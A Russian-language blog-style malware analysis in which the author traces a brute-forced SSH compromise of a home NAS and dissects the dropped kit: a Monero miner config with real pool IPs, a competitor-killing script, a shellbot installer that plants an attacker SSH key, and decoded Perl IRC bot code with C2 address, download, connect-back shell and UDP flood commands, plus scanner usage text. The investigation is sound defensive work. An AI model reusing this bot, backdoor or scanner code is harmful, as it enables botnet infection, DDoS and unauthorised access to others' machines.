Тайная жизнь Linux сервера или веерная брутфорс атака на подсистему SSH

Сегодня мой внешний IP был заблокирован в сервисе IVI с сообщением


Ваш ip-адрес идентифицируется как анонимный. 
Пожалуйста, обратитесь к своему интернет-провайдеру. IP адрес <IP>.
Данные предоставлены maxmind.com

Что это значит?


В базе знаний IVI существует информация об ошибке 4530, пояснение которой, гласит, что на IP адресе детектирован VPN или открытый прокси. Но ничего подобного я сознательно не устанавливал. Мне стало понятно, что мой роутер или NAS, который я недавно добавил в сеть, участвуют в каких-то непристойностях.


Дисклеймер


Материалы, приведенные ниже, несут исключительно научно-исследовательский характер. Данное исследование проводилось автором исключительно в научно-исследовательских целях, его результаты не являются и не могут признаваться руководством к совершению каких-либо противоправных действий. При проведении исследования автор действовал в рамках законодательства Российской Федерации. Использование результатов исследования допускается исключительно в научно-ознакомительных целях. Использование результатов исследования для достижения противоправного или любого иного от научной деятельности результата может повлечь за собой уголовную, административную и (или) гражданско-правовую ответственность. Автор не несет ответственность за инциденты в сфере информационной безопасности, имеющие отношение к тематике исследования.


Разбираемся что же произошло


Проанализировав конфигурацию и логи роутера, я убедился что он чист, а мой NAS стоит в режиме DMZ. Я зашел на NAS и первым делом посмотрел стоит ли на нем fail2ban и активирован ли ufw. Ни того ни другого я не обнаружил, а auth.log был внушительного размера. Похоже, вектором атаки стал брутфорс пароля пользователя через ssh.


Запустив grep -in Accept /var/log/auth.log я увидел следующее


98341:Dec 23 23:45:36 fileserver sshd[23179]: Accepted password for timemachine from 46.101.149.19 port 45573 ssh2

Злоумышленник успешно вошел под пользователем timemachine c IP адреса 46.101.149.19 во франкфурте. Примечательно, что строка попалась в логе всего один раз, почти неделю назад. Однако. Продолжаем исследования. Вызов


ps -aux | grep timema

Показал такой набор процессов, работающих от имени пользователя
timemac+  3512  123 13.3 302904 267484 ?       Ssl  Dec25 4728:49 ./cron
timemac+  3590  0.0  0.1  12884  3232 ?        S    Dec25   0:00 /bin/bash ./go
timemac+ 17476  0.0  0.0  11740   924 ?        S    13:47   0:00 timeout 6h ./tsm -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip
timemac+ 17477  0.0  0.1  12884  3036 ?        S    13:47   0:00 /bin/bash ./tsm -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip
timemac+ 17482  112  2.4 3500784 49616 ?       Sl   13:47 146:11 /dev/shm/.lwp/.rsync/c/lib/64/tsm --library-path /dev/shm/.lwp/.rsync/c/lib/64/ /usr/sbin/httpd sync/c/tsm64 -t 301
timemac+ 23184  0.0  0.3  76764  7288 ?        Ss   Dec23   0:00 /lib/systemd/systemd --user
timemac+ 23185  0.0  0.1 206708  2204 ?        S    Dec23   0:00 (sd-pam)
timemac+ 24436  0.0  0.3  27412  6672 ?        S    Dec24   1:49 rsync
timemac+  3512  123 13.3 302904 267484 ?       Ssl  Dec25 4728:51 ./cron
timemac+  3590  0.0  0.1  12884  3232 ?        S    Dec25   0:00 /bin/bash ./go
timemac+ 17476  0.0  0.0  11740   924 ?        S    13:47   0:00 timeout 6h ./tsm -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip
timemac+ 17477  0.0  0.1  12884  3036 ?        S    13:47   0:00 /bin/bash ./tsm -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip
timemac+ 17482  112  2.4 3500784 49628 ?       Sl   13:47 146:15 /dev/shm/.lwp/.rsync/c/lib/64/tsm --library-path /dev/shm/.lwp/.rsync/c/lib/64/ /usr/sbin/httpd sync/c/tsm64 -t 301 -f 1 -s 12 -S 12 -p 0 -P 0 -d 1 p ip
timemac+ 23184  0.0  0.3  76764  7288 ?        Ss   Dec23   0:00 /lib/systemd/systemd --user
timemac+ 23185  0.0  0.1 206708  2204 ?        S    Dec23   0:00 (sd-pam)
timemac+ 24436  0.0  0.3  27412  6672 ?        S    Dec24   1:49 rsync

Похоже, все пути ведут в /dev/shm/.lwp. Посмотрим что там.


Структура малвари


Снапшот рабочей папки
/dev/shm/.lwp
├── apt.conf
├── dota3.tar.gz
├── .out
├── .rsync
│   ├── a
│   │   ├── a
│   │   ├── anacron
│   │   ├── bash.pid
│   │   ├── cron
│   │   ├── dir.dir
│   │   ├── init0
│   │   ├── .procs
│   │   ├── run
│   │   ├── stop
│   │   └── upd
│   ├── b
│   │   ├── a
│   │   ├── dir.dir
│   │   ├── run
│   │   ├── stop
│   │   └── sync
│   ├── c
│   │   ├── a
│   │   ├── aptitude
│   │   ├── b
│   │   ├── cron.d
│   │   ├── dir2.dir
│   │   ├── dir.dir
│   │   ├── go
│   │   ├── golan
│   │   ├── ip
│   │   ├── lib
│   │   │   ├── 32
│   │   │   │   ├── libc.so.6
│   │   │   │   ├── libdl.so.2
│   │   │   │   ├── libnss_dns.so.2
│   │   │   │   ├── libnss_files.so.2
│   │   │   │   ├── libpthread.so.0
│   │   │   │   ├── libresolv-2.23.so
│   │   │   │   ├── libresolv.so.2
│   │   │   │   └── tsm
│   │   │   ├── 64
│   │   │   │   ├── libc.so.6
│   │   │   │   ├── libdl.so.2
│   │   │   │   ├── libnss_dns.so.2
│   │   │   │   ├── libnss_files.so.2
│   │   │   │   ├── libpthread.so.0
│   │   │   │   ├── libresolv-2.23.so
│   │   │   │   ├── libresolv.so.2
│   │   │   │   └── tsm
│   │   │   └── arm
│   │   │       ├── libarmmem-v7l.so
│   │   │       ├── libc.so.6
│   │   │       ├── libdl.so.2
│   │   │       ├── libnss_dns.so.2
│   │   │       ├── libpthread.so.0
│   │   │       ├── libresolv.so
│   │   │       ├── libresolv.so.2
│   │   │       └── tsm
│   │   ├── n
│   │   ├── p
│   │   ├── run
│   │   ├── slow
│   │   ├── start
│   │   ├── stop
│   │   ├── tsm
│   │   ├── tsm32
│   │   ├── tsm64
│   │   ├── tsmv7
│   │   ├── v
│   │   └── watchdog
│   ├── cron.d
│   ├── dir.dir
│   ├── init
│   ├── init2
│   ├── initall
│   └── .out
└── timemachine

8 directories, 70 files

У трояна можно выделить следующие части


  • Майнер криптовалюты XMRIG (.rsync/a)
  • Шеллбот (.rsync/b)
  • Сканер-брутфорсер (.rsync/c)
  • Ланчер (.rsync/init и компания)

Майнер


Кастомная сборка XMRIG. Собран под архитектуры х86 и х64. Вся кастомность заключается в конфиге, зашитом в бинарник. Попробуем его достать и понять на кого трудилась моя машинка. У XMRIG есть конструктор конфигов. Нащёлкаем любую простую конфигурацию. На выходе мы получаем json такого вида:


Пример конфига
{
    "autosave": true,
    "cpu": true,
    "opencl": false,
    "cuda": false,
    "pools": [
        {
            "url": "sdfsdf:3333"
        }
    ]
}

специфичным ключом для поиска выберем "pools". Проверим. Запустим


strings -n5 anacron | less  

и поищем строку "pools".


У нас 100% попадание на искомый конфиг
{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": false,
        "host": "127.0.0.1",
        "port": 0,
        "access-token": null,
        "restricted": true
    },
    "autosave": true,
    "version": 1,
    "background": true,
    "colors": true,
    "randomx": {
        "init": -1,
        "numa": true
    },
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "hw-aes": null,
        "priority": null,
        "memory-pool": false,
        "max-threads-hint": 100,
        "asm": true,
        "argon2-impl": null,
        "cn/0": false,
        "cn-lite/0": false
    },
    "opencl": {
        "enabled": false,
        "cache": true,
        "loader": null,
        "platform": "AMD",
        "cn/0": false,
        "cn-lite/0": false
    },
    "cuda": {
        "enabled": false,
        "loader": null,
        "nvml": true,
        "cn/0": false,
        "cn-lite/0": false
    },
    "donate-level": 0,
    "donate-over-proxy": 0,
    "log-file": null,
    "pools": [
        {
            "coin": "monero",
            "algo": null,
            "url": "debian-package.center:80",
            "user": "45BLAvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7bDebx51LCuDQYyhFgVbUMhc4qY14CQ",
            "pass": "x",
            "tls": false,
            "keepalive": true,
            "nicehash": true
        },
        {
            "coin": "monero",
            "algo": null,
            "url": "45.9.148.125:80",
            "user": "45BLAvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7bDebx51LCuDQYyhFgVbUMhc4qY14CQ",
            "pass": "x",
            "tls": false,
            "keepalive": true,
            "nicehash": true
        },
        {
            "coin": "monero",
            "algo": null,
            "url": "45.9.148.129:80",
            "user": "45BLAvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7bDebx51LCuDQYyhFgVbUMhc4qY14CQ",
            "pass": "x",
            "tls": false,
            "keepalive": true,
            "nicehash": true
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "retries": 5,
    "retry-pause": 5,
    "syslog": false,
    "user-agent": null,
    "watch": true
}

Малварь майнит монеро на пулах debian-package.center, 45.9.148.125, 45.9.148.129 для юзера 45BLAvLNayefqNad3tGpHKPzviQUYHF1mCapMhgRuiiAJPYX4KyRCVg9veTmckPN7bDebx51LCuDQYyhFgVbUMhc4qY14CQ с паролем x доменное имя debian-package.center резолвится в последний по списку ip 45.9.148.129


Интересной особенностью майнера является скрипт запуска a/init0. Перед тем как запустить свою копию, он избавляется от конкурентов и процессов, которые в данный момент занимают более 60% процессорного времени. Поиск конкурентных процессов скрипт осуществляет по имени, сетевой активности и известному месторасположению других малварей. В целом, этот скрипт даже можно использовать в качестве "антивируса"


Скрипт a/init-0
#!/bin/sh

##########################################################################################\
### A script for killing cryptocurrecncy miners in a Linux enviornment
### Provided with zero liability (!)
###
### Some of the malware used as sources for this tool:
### https://pastebin.com/pxc1sXYZ
### https://pastebin.com/jRerGP1u
### SHA256: 2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4
##########################################################################################\

# Killing processes by name, path, arguments and CPU utilization
processes(){
    killme() {
      killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &
    }

    killa() {
    what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&
    }

    killa 34e2fg
    killme

    # Killing big CPU
    VAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU)
    for word in $VAR
    do
      CPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}')
      if [ $CPUUSAGE -gt 60 ]; then echo BIG $word; PID=$(echo $word | awk -F":" '{print $1'});LINE=$(ps uwx | grep $PID);COUNT=$(echo $LINE| grep -P "er/v5|34e2|Xtmp|wf32N4|moy5Me|ssh"|wc -l);if [ $COUNT -eq 0 ]; then echo KILLING $line; fi;kill $PID;fi;
    done

    killall \.Historys
    killall \.sshd
    killall neptune
    killall xm64
    killall xm32
    killall xmrig
    killall \.xmrig
    killall suppoieup

    pkill -f sourplum
    pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg

    ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9

    ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
    ps auxf|grep named| awk '{print $2}'|xargs kill -9
    ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9
    ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
    ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9
    ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9
    ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9

    ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
    ps ax|grep -o './[0-9]* -c'| xargs pkill -f

    pkill -f /usr/bin/.sshd
    pkill -f acpid
    pkill -f AnXqV.yam
    pkill -f apaceha
    pkill -f askdljlqw
    pkill -f bashe
    pkill -f bashf
    pkill -f bashg
    pkill -f bashh
    pkill -f bashx
    pkill -f BI5zj
    pkill -f biosetjenkins
    pkill -f bonn.sh
    pkill -f bonns
    pkill -f conn.sh
    pkill -f conns
    pkill -f cryptonight
    pkill -f crypto-pool
    pkill -f ddg.2011
    pkill -f deamon
    pkill -f disk_genius
    pkill -f donns
    pkill -f Duck.sh
    pkill -f gddr
    pkill -f Guard.sh
    pkill -f i586
    pkill -f icb5o
    pkill -f ir29xc1
    pkill -f irqba2anc1
    pkill -f irqba5xnc1
    pkill -f irqbalanc1
    pkill -f irqbalance
    pkill -f irqbnc1
    pkill -f JnKihGjn
    pkill -f jweri
    pkill -f kw.sh
    pkill -f kworker34
    pkill -f kxjd
    pkill -f libapache
    pkill -f Loopback
    pkill -f lx26
    pkill -f mgwsl
    pkill -f minerd
    pkill -f minergate
    pkill -f minexmr
    pkill -f mixnerdx
    pkill -f mstxmr
    pkill -f nanoWatch
    pkill -f nopxi
    pkill -f NXLAi
    pkill -f performedl
    pkill -f polkitd
    pkill -f pro.sh
    pkill -f pythno
    pkill -f qW3xT.2
    pkill -f sourplum
    pkill -f stratum
    pkill -f sustes
    pkill -f wnTKYg
    pkill -f XbashY
    pkill -f XJnRj
    pkill -f xmrig
    pkill -f xmrigDaemon
    pkill -f xmrigMiner
    pkill -f ysaydh
    pkill -f zigw

    # crond
    ps ax | grep crond | grep -v grep | awk '{print $1}' > /tmp/crondpid
    while read crondpid
    do
        if [ $(echo  $(ps -p $crondpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
        then
            kill $crondpid
            rm -rf /var/tmp/v3
        fi
    done < /tmp/crondpid
    rm /tmp/crondpid -f

    # sshd
    ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid
    while read sshdpid
    do
        if [ $(echo  $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
        then
            kill $sshdpid
        fi
    done < /tmp/ssdpid
    rm -f /tmp/ssdpid

    # syslog
    ps ax | grep syslogs | grep -v grep | awk '{print $1}' > /tmp/syslogspid
    while read syslogpid
    do
        if [ $(echo  $(ps -p $syslogpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g')  -ge 60 ]
        then
            kill  $syslogpid
        fi
    done < /tmp/syslogspid
    rm /tmp/syslogspid -f

        ps x | grep 'b 22'| awk '{print $1,$5}' > .procs

        cat .procs | while read line
        do

        pid=`echo $line | awk '{print $1;}'`
        name=`echo $line | awk '{print $2;}'`
        #echo $pid $name 

        if [ $(echo $name | wc -c) -lt "13" ]
            then
            echo "Found" $pid $name
            kill -9 $pid
        fi
        done

        ####################################################

        ps x | grep 'd 22'| awk '{print $1,$5}' > .procs

        cat .procs | while read line
        do

        pid=`echo $line | awk '{print $1;}'`
        name=`echo $line | awk '{print $2;}'`
        #echo $pid $name 

        if [ $(echo $name | wc -c) -lt "13" ]
            then
            echo "Found" $pid $name
            kill -9 $pid
        fi
        done

}

# Removing miners by known path IOC
files(){
    rm /tmp/.cron
    rm /tmp/.main
    rm /tmp/.yam* -rf
    rm -f /tmp/irq
    rm -f /tmp/irq.sh
    rm -f /tmp/irqbalanc1
    rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
    rm -rf /tmp/*httpd.conf
    rm -rf /tmp/*httpd.conf*
    rm -rf /tmp/*index_bak*
    rm -rf /tmp/.systemd-private-*
    rm -rf /tmp/.xm*
    rm -rf /tmp/a7b104c270
    rm -rf /tmp/conn
    rm -rf /tmp/conns
    rm -rf /tmp/httpd.conf
    rm -rf /tmp/java*
    rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so
    rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
    rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
    rm -rf /tmp/xm*
    rm -rf /var/tmp/java*
}

# Killing and blocking miners by network related IOC
network(){
    # Kill by known ports/IPs
    netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
}   

files
processes
network
echo "DONE"

Шеллбот


Живет в .rsync/b/run и представляет из себя закодированный в base64 и сжатый бэкдор-скрипт на perl, похожий на этот экземпляр. Он так же устанавливает ssh ключ в систему для возможности повторно незаметно восстанавливать доступ к системе.


Скрипт установщика шеллбота
#!/bin/sh
nohup ./stop>>/dev/null &
sleep 5
echo "<base64>" | base64 --decode | perl
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh

Часть декодированного скрипта perl
my $processo = 'rsync';

$servidor='45.9.148.125' unless $servidor;
my $porta='443';

my $VERSAO = '0.2a';

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.16 ENE ALIN GABRIEL\001");
       }
       elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
         notice("$pn", "\001PONG\001");
       }
       elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
           }
         elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       $meunick = getnick();
       nick("$meunick");
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal");
       }
   }
}

sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my @portas=("21","22","23","25","53","80","110","143","6665");
             my (@aberta, %porta_banner);
             ....
           }

           elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
            getstore("$1", "$2");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu.do!") if ($estatisticas);
            }

           elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
             my $hostname="$1";
             my $portainicial = "$2";
             my $portafinal = "$3";
             my (@abertas, %porta_banner);
             ...
            }

            elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
              return unless $pacotes;
              socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
              my $alvo=inet_aton("$1");
              my $porta = "$2";
              my $tempo = "$3";
              my $pacote;
              my $pacotese;
              my $fim = time + $tempo;
              my $pacota = 1;
              ...
            }

            elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
              return unless $pacotes;
              socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
              my $faixaip="$1";
              my $porta = "$2";
              my $tempo = "$3";
              my $pacote;
              my $pacotes;
              my $fim = time + $tempo;
              my $pacota = 1;
              my $alvo;
              ...
              if ($estatisticas)
              {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");
              }
            }

            elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
              my $host = "$1";
              my $porta = "$2";
              my $proto = getprotobyname('tcp');
              my $iaddr = inet_aton($host);
              my $paddr = sockaddr_in($porta, $iaddr);
              my $shell = "/bin/sh -i";
              if ($^O eq "MSWin32") {
                $shell = "cmd.exe";
              }
              ...

              if ($estatisticas)
              {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
              }
            }

           elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
            return unless $pacotes;
             my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             unless ($estatisticas)
             {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status -\002");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Timp\002: $dtime"."secunde.");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total packet\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o}));
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Flood\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
             }
           }
           exit;
       }
  }
}

Беглый анализ скрипта показывает, что бот координируется с IRC сервера 45.9.148.125:443. Функционал стандартный. Он может выполнять


  • Произвольные Shell команды, судя по коду, в т.ч. и на Win32
  • Быстрое сканирование портов "21","22","23","25","53","80","110","143","6665" произвольного хоста
  • Скачивание произвольного url на компьютер жертвы
  • Сканирование диапазона портов произвольного хоста
  • UDP флуд с произвольной скоростью на выбранный хост
  • UDP флуд с произвольной скоростью на подсеть
  • Соединение по TCP с выбранным хостом
  • Выполнять комбинированный флуд igmp, udp, icmp, tcp по всему диапазону портов на хосте

В скрипте так же упомянуты следующие url: http://www.minpop.com/sk12pack/idents.php и http://www.minpop.com/sk12pack/names.php, однако, они выглядят нерабочими.


Этого арсенала хватает, чтобы злоумышленник мог получить контроль над системой и запустить свои процессы.


Сканер-брутфорсер


Самая интересная часть малвари. Будучи запущенным, сканер виден в системе как процесс tsm и пытается подобрать ssh пароли на следующих N хостах и заразить их. В моем случае, я обнаружил файл с 70к ip адресами и небольшой словарь типовых паролей. Сканер имеет свои рантайм библиотеки (std, openssh, dns, resolv,pthread) под архитектуры x32, x64, armv7. За счет этого, зараза может веерно заражать большое количество жертв на разных архитектурах. Каждая зараженная машина становится частью ботнета и наращивает мощность сети.


Внутри исполнимого файла я нашел следующие строки


help
---------------------->Faster than light<-----------------------------
--------------------->use only for testing<---------------------------
Use: scan [OPTIONS] [[USER PASS]] FILE] [IPs/IPs Port FILE]
        -t [NUMTHREADS]: Change the number of threads used. Default is %d
        -m [MODE]: Change the way the scan works. Default is %d
        -f [FINAL SCAN]: Does a final scan on found servers. Default is %d
        Use -f 1 for A.B class /16. Default is 2 for A.B.C /24
        -i [IP SCAN]: use -i 0 to scan ip class A.B. Default is %d
        if you use -i 0 then use ./scan -p 22 -i 0 p 192.168 as agrument for ip file
        -m 0 for non selective scanning
        -P 0 leave default password unchanged. Changes password by default.
        -s [TIMEOUT]: Change the timeout. Default is %ld
        -S [2ndTIMEOUT]: Change the 2nd timeout. Default is %ld
        -p [PORT]: Specify another port to connect to. 0 for multiport
        -c [REMOTE-COMMAND]: Command to execute on connect. Use ; or && with commands
Use: ./scan -t 202 -s 5 -S 5 p ip -c "uname"
Use: ./scan -t 202 -s 5 -S 5 -i 0 -p 22 p 192.168
The example above will scan 192.168 port 22 and brute force the IP list.
Use: ./scan -t 202 -s 5 -S 5 -p 0 p ip - for "ip port" file
Use: ./scan -t 202 -s 5 -S 5 -p 23 -m 0 p ip - for other protocols
When using -m 1 (default value) the scan will only target full linux
machines or windows machines with openssh installed. Routers, busyboxes
honeypots and other limited linux devices will be skipped from the output.
Use -m 0 for non-selective scanning (can be used for all type of ssh devices)
this includes busyboxes, routers, honeypots and other devices with limited
commands. ================================================================
==========================================================================

Закодированный в base64 скрипт установщика, вариант 1
#!/bin/bash
cd /tmp 
rm -rf .ssh
rm -rf .mountfs
rm -rf .X13-unix
rm -rf .X17-unix
rm -rf .X19-unix
mkdir .X19-unix
cd .X19-unix
mv /var/tmp/dota3.tar.gz dota3.tar.gz
tar xf dota3.tar.gz
sleep 3s && cd .rsync; cat /tmp/.X19-unix/.rsync/initall | bash 2>1&
sleep 45s && pkill -9 run && pkill -9 go && pkill -9 tsm
exit 0

Закодированный в base64 скрипт установщика, с запуском сканера
#!/bin/bash
cd /tmp 
rm -rf .ssh
rm -rf .mountfs
rm -rf .X13-unix
rm -rf .X17-unix
rm -rf .X19-unix
